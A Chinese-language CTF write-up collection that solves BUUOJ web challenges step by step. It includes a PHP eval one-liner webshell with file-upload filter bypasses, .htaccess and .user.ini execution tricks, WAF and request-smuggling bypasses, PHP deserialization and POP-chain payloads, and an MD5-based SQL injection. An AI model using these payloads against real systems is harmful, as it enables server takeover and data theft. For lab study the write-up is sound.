然后访问,发现需要从https://Sycsecret.buuoj.cn访问才行

image-20220111141218518

那么就使用BurpSuite进行修改

2.BurpSuite使用改包

首先浏览器开启代理,BurpSuite抓到包

image-20220111141339457

然后将包发送到repeater

image-20220111141424655

在Repeater最新出现的一部分就是

image-20220111141531436

(1)修改Referer

由于说要从https://Sycsecret.buuoj.cn访问,所以添加如下,在Get下添加

1
Referer: https://Sycsecret.buuoj.cn

image-20220111141726767

点击Go按钮发送包

image-20220111141823417

返回的包提示不行,那么需要修改浏览器名称

image-20220111141837951

(2)修改User-Agent

修改如下

1
User-Agent: Syclover

image-20220111142004093

还是不行,提示需要从本地local读取

image-20220111142051767

(3)修改X-Forwarded-For

添加如下

1
X-Forwarded-For: 127.0.0.1

image-20220111142201689

发送后得到flag

image-20220111142221310

十三、[极客大挑战 2019]Upload

🔺文件上传漏洞、一句话木马

1.前期探索

进入之后发现让选择图片进行上传,那么就考虑一句话木马的隐写,然后再上传

首先尝试上传.php文件,失败,接着考虑测绕过。

2.绕过过滤

(1)修改Content-Type

image-20220112120212319

失败,后缀名不能为.php

image-20220112120239252

(2)修改后缀名

修改为phtml,这种格式在服务器也会被作为php文件解析。

image-20220112120451143

成功,但是不能是<?开头,那么尝试使用html格式。还有的php文件后缀名可以修改如下

1
2
3
4
5
6
7
8
9
10
- 利用中间件解析漏洞绕过检查,实战常用
- 上传.user.ini或.htaccess将合法拓展名文件当作php文件解析
- %00截断绕过
- php3文件
- php4文件
- php5文件
- php7文件
- phtml文件
- phps文件
- pht文件

[BUUOJ记录] [ACTF2020 新生赛]Upload - Ye’sBlog - 博客园 (cnblogs.com)

(3)修改php格式

修改内容为

1
<script language="php">eval($_POST['shell']);</script>

image-20220112120616999

成功,但是也被探测到,那么尝试修改文件头部格式

image-20220112120712009

(4)尝试修改文件头部

在文件头加上GIF89a

image-20220112121007758

上传成功

image-20220112121056862

3.查找上传文件路径

一般而言,上传的都在upload,成功找到

image-20220112121305153

那么蚁剑连接,根目录下找到flag

image-20220112121815697

十四、[ACTF2020 新生赛]Upload

和十三题一样,直接一句话木马,文件格式为phtml,修改content-type即可,然后蚁剑连上在根目录下找flag。需要注意的是要先上传成功一个文件才会抓到上传的包,因为这里的验证是在前端验证后缀名的。

十五、[RoarCTF 2019]Easy Calc

🔺命令执行、php字符串解析、HTTP走私攻击

1.前期探索

查看源代码,发现如下.php文件

image-20220112190657868

访问一下,发现源代码,分析过滤了一些东西,然后我们输入的num字符串进行解析,并且使用eval执行后输出

image-20220112191231694

主要以下代码,过滤了很多东西,然后执行输出

1
2
3
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
eval('echo '.$str.';')

尝试phpinfo(),发现直接报错,大佬们说是Waf的原因,具体也不太知道怎么判断出Waf的,经过测试,这里的waf会过滤掉所有带字母的num变量内容。

image-20220113115855930

所以大概有两种方法

2.解决方法

解法一:利用php字符串解析特性绕过WAF

(1)绕过WAF

利用php解析字符串时,会自动去掉多余的空格这个特性,即当我们调试时

输入中间加入了空格的num,发现php依然能够成功解析出num这个变量

1
http://127.0.0.1/index.php?%20num=phpinfo()

image-20220113115626996

image-20220113115655830

但是WAF可不会管空不空格的,对于Waf来说,传过去的是带了空格的num变量,不是num变量,所以不会进行过滤,会将带了空格的num变量传递给calc.php文件进行解析,这样就成功绕过了WAF。

(2)绕过过滤

由于过滤了/,所以这里使用chr(47)来进行绕过,这是/字符的ascii码

先查看根目录下有什么内容

1
/calc.php?%20num=var_dump(scandir(chr(47)))

发现有flag

image-20220113121152229

那么利用php中的函数进行获取

1
/calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

得到flag

image-20220113121256750

解法二:利用HTTP走私攻击

这个具体的原理实在是有点不太能理解,可能需要深入研究一下。以我的理解来说,就是通过修改content-length或者Transfer-Encoding,来使得数据包在前后端解析的过程中,让前端以为该数据包的内容比较少,使其认为不包含需要过滤的内容,从而把完整的数据包发给后端,绕过前端的Waf等过滤。

BurpSuit抓包之后,修改content-length或者Transfer-Encoding

(1)利用CL-CL

image-20220113150704935

1
2
Content-Length: 0
Content-Length: 0

(2)利用CL-TE

image-20220113151848304

1
2
Transfer-Encoding: chunked
Content-Length: 3

有时候又很奇怪,就离谱。

同时GET改成POST也是可以的。

后面都一样了,就是绕过后端的过滤。

4.17. HTTP 请求走私 — Web安全学习笔记 1.0 文档 (websec.readthedocs.io)

十六、[极客大挑战 2019]PHP

🔺PHP反序列化

1.分析

dirsearch扫描发现www.zip,该文件为网址备份文件,可以下载下来,其中为

image-20220710161845497

之后看index.php中有如下代码

image-20220710161859892

再转到class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>

__destruct函数中,当传入的用户名为admin会输出flag,但是在__wakeup函数中,用户名被赋值为guest。我们知道__wakeup是在反序列化的最开始调用的,需要去找个绕过方法。

2.绕过__wakeup

(1)CVE-2016-7124

满足如下条件

1
2
PHP5 < 5.6.25
PHP7 < 7.0.10

在反序列化时,成员个数的值大于实际成员个数时,会跳过__wakeup函数的执行,也就是使得传入的序列化字符串的成员个数大于实际的成员个数。如下,将Name这个对象对应的成员个数由原本的2改为3即可绕过。

1
2
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

参考:PHP 内核层解析反序列化漏洞 (seebug.org)

(2)小技巧

对于实际添加成员的属性也能从一种程度上绕过__wakeup,如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class A{
function __toString(){
print_r("calling __toString\n");
return "";
}
function __wakeup(){
print_r("calling __wakeup\n");
}
}

class B{
public $a;
function __destruct(){
echo $this->a;
}
}
$b = new B();
$b->a = new A();
$myStr = serialize($b);
print_r($myStr);

//$objStr = 'O:1:"B":1:{s:1:"a";O:1:"A":0:{}s:1:"n":N;}';
//$originStr = 'O:1:"B":1:{s:1:"a";O:1:"A":0:{}}';
//unserialize($objStr);
//echo "aa";
?>

先生成一下序列化链子,得到$originStr

1
2
3
$originStr = 'O:1:"B":1:{s:1:"a";O:1:"A":0:{}}';
//添加一个属性 `s:1:"n":N;`得到如下$objStr
$objStr = 'O:1:"B":1:{s:1:"a";O:1:"A":0:{}s:1:"n":N;}';

之后进行反序列化,发现先__toString,再调用__wakeup

1
unserialize($objStr);

这样也代表从另一种方式绕过__wakeup函数了。

此外替换s:1:"n":N;;其实也是可以的,在php8版本下也是可以的,不知道是不是某个CVE

(3)php_bug

题目见:Sekai Game Start

PHP :: Bug #81151 :: bypass __wakeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class E {
public function __construct(){

}

public function __destruct(){
echo "destruct";
}

public function __wakeup(){
echo "wake up";
}
}

var_dump(unserialize('C:1:"E":0:{}'));

如下所示,在php8.0也可以

image-20221004155126882

3.private成员

序列化时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

class Name{
public $username = 'nonono';
private $password = 'yesyes';
protected $cookie = 'cookie';

public function __construct($username,$password,$cookie){
$this->username = $username;
$this->password = $password;
$this->cookie = $cookie;
}
}
$a = new Name('admin', 100,"cookie");
$b = serialize($a);
echo "aaa";

?>

不同类型的成员序列化之后成员变量名保存的形式不太一样

  • private

    变为\x00className\x00memberName

  • public

    仍然为原始的,即username

  • protected

    变为\x00*\x00memberName

所以在传入反序列字符串时,需要考虑到这些特点,这里对应private成员就需要传入URL编码的\x00%00

4.最终payload

修改成员数量绕过__wakeup,加入%00表示private成员

1
select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

十七、[ACTF2020 新生赛]BackupFile

🔺PHP弱类型比较、网站源码备份

首先获取备份源码url/index.php.bak,扫一下也可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

看到当传入的key等于str时会打印flag,但是又不能传字符,这里就用到弱类型比较

1
2
3
4
5
6
7
<?php
$key = 123;
$abc = "123aaaa";
if($key == $abc){
echo "bbbb";
}
?>

上述代码会输出bbbb,原因就是当==比较对象中任意一个为数字,就会把另一个比较对象也强制转换为数字,对于字符串型的强制转换,会从左开始遍历,直到碰到非数字的部分,丢弃之后的部分,转换为数字,所以条件成立。

1
2
$abc = "123aaaa333";
echo intval($abc);

上述代码会输出123

那么传入key=123即可。

十八、[HCTF 2018]admin

🔺爆破、模板库函数、

一题三解之2018HCTF&admin - 安全客,安全资讯平台 (anquanke.com)

提示admin,有登录注册界面,注册界面注册admin失败,应该有该用户。那么直接尝试Burpsuite弱密码爆破。BUU平台发包需要慢一点

image-20220711121051309

爆出来123,登录得flag。这不算什么解法,就记录一下。

1.解法一

pythonflask模板库Twisted中的函数问题

在修改密码的页面源代码有提示,该网站使用的为pythonflash模板,给了相关网址:woadsl1234/hctf_flask: hctf_flask (github.com),其中的各个包版本

image-20220712144242517

  • 查找flask的路由routes.py,注册、登录、修改密码的相关函数,使用的都是strlower函数

    1
    2
    3
    def strlower(username):
    username = nodeprep.prepare(username)
    return username

    来将用户名进行小写化,而nodeprep位于包Twisted==10.2.0

  • 下载对应版本的包,跟进查看函数

    1
    2
    3
    4
    5
    nodeprep = Profile(mappings=[B_1, B_2],
    prohibiteds=[C_11, C_12, C_21, C_22,
    C_3, C_4, C_5, C_6, C_7, C_8, C_9,
    LookupTable([u'"', u'&', u"'", u'/',
    u':', u'<', u'>', u'@'])])

    使用相关的unicode编码,相关编码可查:

    Unicode - Unicode Character Table (unicode-table.com)

    制定了相关表格索引,不知道是怎么制定的,应该是字典啥的把,比如经过nodeprep.prepare之后

    1
    2
    u'\u0041'  ---->   u'\u0061'
    A ----> a

    不过在该题的版本下,也就是Twisted==10.2.0,其内部代码可能有点问题,导致

    1
    2
    u'\u1d2c'  ---->   u'\u0041'
    ᴬ ----> A

    这样就有点问题,导致如下情况

    1
    2
    strlower('ᴬ')=A
    strlower('A')=a

    不过现在最新版本的Twisted已经没了这个问题。

  • 依据这样,注册的时候使用ᴬdmin,变成了用户Admin。然后登录Admin,修改密码,变成了修改admin的密码,即可得到admin账户。

2.解法二

利用flask模板存在于客户端的缺陷,伪造session,版本安装老失败,放弃

3.解法三

条件竞争,就是在改密码的时候中断,然后利用登录功能,尝试登录admin,将当前的session['name']改为admin,之后再回到改密码的地方,将admin的密码改掉。

image-20220713111008888

按理说再登录的时候,应该先查有没有该用户的,登录之后再进行session['name']的赋值这里就是利用了先赋值session['name']的漏洞。

十九、[BJDCTF2020]Easy MD5

[BUUOJ记录] [BJDCTF2020]Easy MD5 - Ye’sBlog - 博客园 (cnblogs.com)

🔺MD5+SQL、PHP弱比较、数组绕过

1.MD5实现SQL注入

第一关的的http头部有hint

1
select * from 'admin' where password=md5($pass,true)

参数为true代表返回原始16字符二进制格式,也就是相当于SQL语句被md5之后的字符直接控制,那么尝试构造如下

1
select * from 'admin' where password=''or'xxx' 

这样就能绕过了。

也就是找一个字符串str,其md5(str)='or'xxx ,而'or' 对应的16进制为0x276f7227,那么字符串ffifdyopmd5就满足这个条件(不知道这么来的)。

PS:那如果以后想找不一样的的,是否需要用到md5碰撞?

2.PHP结合MD5弱类型比较

查看源码,注释部分有提示

1
2
3
4
5
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.

这个没啥好说的,找一下0exx这个科学计数法,代表0的xx次方,还是0。QNKCDZOs214587387a

3.数组绕过

有源码

1
2
3
4
5
6
7
8
9
 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

利用PHPmd5计算特性

1
2
3
4
5
md5(array()) = null
sha1(array()) = null
ereg(pattern,array()) = null vs preg_match(pattern,array) = false
strcmp(array(), "abc") = null
strpos(array(),"abc") = null

POST传入param1[]=1&param2[]=2即可得到Flag

二十、[ZJCTF 2019]NiZhuanSiWei

🔺伪协议、反序列化

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

需要设置text,但是用的是file_get_contents,这个需要为文件流,可以使用data伪协议。

1
text=data://text/plain,welcome%20to%20the%20zjctf

然后file提示包含进useless.php,使用php://filter/伪协议进行读取

1
file=php://filter/read=convert.base64-encode/resource=useless.php

base64解码后获取到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

可以看到会输出file成员指向的文件,那么修改fileflag.php,进行序列化,得到

1
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

结合所有的,最后反序列化password得到最终的payload

1
text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

在源码注释中看到flag

二十一、[MRCTF2020]你传你🐎呢

🔺.htaccess利用

传入.htaccess如下

1
2
3
<FilesMatch "test.png">
SetHandler application/x-httpd-php
</FilesMatch>

使得php可以解析test.pngphp,从而执行。不过.htaccess只能在apache服务中起作用

二十二、[SUCTF 2019]CheckIn

🔺.user.ini利用

传入.user.ini如下

1
2
GIF89a
auto_prepend_file=origin.png

参考浅析.htaccess和.user.ini文件上传 - FreeBuf网络安全行业门户

auto_prepend_file表示.user.ini存在的当前目录下执行php代码之前,预先文件包含进origin.png,从而能够进行作为php代码解析

二十三、[网鼎杯 2020 青龙组]AreUSerialz

🔺php反序列化的属性不敏感

打开得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

可以看到条件如下:

  • GET传入的str中每一个字符都需要在%32~%125,属于可见字符中
  • op"2"是,打印出filename
  • filename需要为flag.php

条件一

这个使用php7.1+针对成员属性不敏感的特性,即序列化后的字符串其正常的protected成员会有\00*\00来修饰,但是这里不允许传入\00,那就不传入。这个php7.1+的特性允许在没有修饰的时候,也能进行转换,不管是private还是protected。但是php7.1以下则不行,会将相关的变量置为null,如下所示,从而无法利用。

至于后面的多出来的属性是怎么回事,就不太知道了,估计是php底层代码问题

image-20220726173826850

条件二

可以注意到第一次在__destruct中比较op用的是强比较===

1
2
if($this->op === "2")
$this->op = "1";

而第二次在process函数中用的是弱比较==

1
2
3
4
5
6
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
}

那么就可以使得opint型的2,这样即可如下结果

1
2
3
if($this->op === "2") 		为False
if($this->op == "1") 为False
else if($this->op == "2") 为True

那么即可顺利跳到打印filename的地方

条件三就不用说了,对应赋值即可,最终payload

1
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

flag在注释里。

二十四、[SWPUCTF 2021 新生赛]pop

2857028-20220517191534625-963175506

🔺PHP的POP链

1.漏洞分析

直接给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

error_reporting(0);
show_source("index.php");

class w44m{

private $admin = 'aaa';
protected $passwd = '123456';

public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}

class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}

class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

只要调用到w33m->__toString就可以执行任意方法了。

2.漏洞利用

那么就是POP链了,就是借用PHP反序列的时候调用的各种魔术方法,串联起来,类似JAVA的反序列化,这里的链子即为

1
2
3
w22m->__destruct()
echo $this->w00m
w33m->__toString()下的$this->w00m->{$this->w22m}();

即设置$this->w22mGetflag$this->w00mw44m的实例化对象,即如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo "flag";
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}

class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}

class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}

$obj = new w22m();
$obj->w00m = new w33m();
$obj->w00m->w00m = new w44m();
$obj->w00m->w22m = "Getflag";
echo urlencode(serialize($obj));

?>

注:

  • 反序列unserialize只会调用到传入对象的__destruct,而不会调用其成员函数的__destruct

  • 函数调用的特殊写法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    <?php

    class w44m{
    private $admin = 'aaaa';
    protected $passwd = 'bbbb';
    public function test($a,$b){
    echo $a;
    echo $b;
    echo "myTest";
    }
    }

    class w22m{
    public $w00m;
    }


    class w33m{
    public $w00m;
    public $w22m;

    }

    $c33 = new w33m();
    $c33->w22m = new w44m();
    $c33->w00m = "test";
    $c33->w22m->{$c33->w00m}("aaa","bbb");

    ?>

    即可以使用$c33->w22m->{$c33->w00m}("aaa","bbb");这种方式来调用某个类的方法。

二十五、[RoarCTF 2019]Easy Java

打开是登录界面,查看help,发现URL有点问题

image-20230530184715317